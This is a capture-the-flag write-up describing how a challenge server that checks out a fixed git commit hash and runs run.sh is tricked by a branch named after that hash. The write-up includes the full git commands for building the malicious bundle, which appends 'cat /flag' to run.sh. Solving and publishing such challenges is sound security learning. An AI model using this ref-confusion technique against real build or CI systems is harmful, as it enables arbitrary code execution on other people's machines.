In the spirit of open source I publish my code, though I wish there existed a better version control than project-latest-final-final-2.tar.zst. I love checking out what other people do with my code, but in this cruel world you need to take precautions. Therefore, I only check out the good code I have written myself. Looking forward to your submissions!

Category: misc

Solver: sohn123

Flag: GPNCTF{8rAnch,7Ag,comM17, BrAncH,Tag,comMI7, I5 7hE w4y oF THE gi7}

Writeup

Challenge Setup

On the challenge website it tells you that you can upload a git bundle and will execute the following steps:

mkdir local
git clone --mirror your-bundle.bundle local/.git
cd local
git config --bool core.bare false
git rev-list 36a168b7942eedf14b33912db25357cb254457e9
git checkout 36a168b7942eedf14b33912db25357cb254457e9 && ./run.sh

Idea

Our idea is to create a malicious bundle that creates a confusion between commit references using a hash and oher ways to define a checkout target in the last step before executing ./run.sh, so we can execute our own version of run.sh.

Exploit

Our first idea is to create a new repository with a branch with the name 36a168b7942eedf14b33912db25357cb254457e9 so this branch gets checked out instead of the commit with this hash. However this failed because the rev-list command fails because no commit with this hash exists in this repository now. You can take a look here at the documentation to see which kind of references get accepted by rev-list. So instead of creating a new repository from scratch, we modified the original repository where the commit with the correct hashs exists. We get the original repo by unpacking a tar ball tar --zstd -xvf project-latest-final-final-2.tar.zst given inside the files provided for the challenge. Inside the repo we execute the following commands to create the new branch, modify run.sh and create the bundle:

git checkout -b 36a168b7942eedf14b33912db25357cb254457e9
echo 'cat /flag' >> run.sh
git add run.sh 
git commit -m "Get flag :)"
git bundle create repo.bundle --all

The confusion still works because rev-list checks only for commits, but using the checkout command branches take precedence over commit hashes. Then you can upload the new bundle and get the flag :)